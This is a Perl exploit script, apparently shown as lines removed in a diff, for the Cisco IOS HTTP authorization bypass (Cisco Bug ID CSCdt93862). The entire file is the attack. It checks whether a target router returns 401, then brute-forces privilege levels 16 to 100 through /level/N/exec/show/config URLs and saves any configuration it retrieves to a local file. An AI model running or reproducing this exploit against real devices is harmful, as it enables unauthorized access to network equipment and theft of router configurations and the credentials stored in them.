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- #!/usr/bin/perl
-
- #
- # Brute force IOS HTTP authorization vulnerability (Cisco Bug ID CSCdt93862).
- #
-
- use LWP;
- use IO::Handle;
-
- my $host = shift;
-
- print "$host: ";
- flush STDOUT;
-
- my $agent = LWP::UserAgent->new;
- my $request = HTTP::Request->new(GET => "http://$host/");
- my $response = $agent->request($request);
- my $level;
-
- if ($response->is_success || $response->code != 401) {
- if ($response->header('Server') ne '') {
- print $response->header('Server');
- print "\n";
- }
- else {
- print "unexpected response, may not be a Cisco.\n";
- }
- exit;
- }
-
- for ($level = 16; $level <= 100; $level++) {
- $request->uri("http://$host/level/$level/exec/show/config");
- $response = $agent->request($request);
- if ($response->is_success) {
- open(HOST, ">$host") || die ("Can't open file $host\n");
- print HOST $response->content;
- close(HOST);
- print "exploited.\n";
- exit;
- }
- else {
- if ($response->code != 401) {
- print "unexpected response, may not be a Cisco.\n";
- exit;
- }
- }
- }
-
- print "failed.\n";
-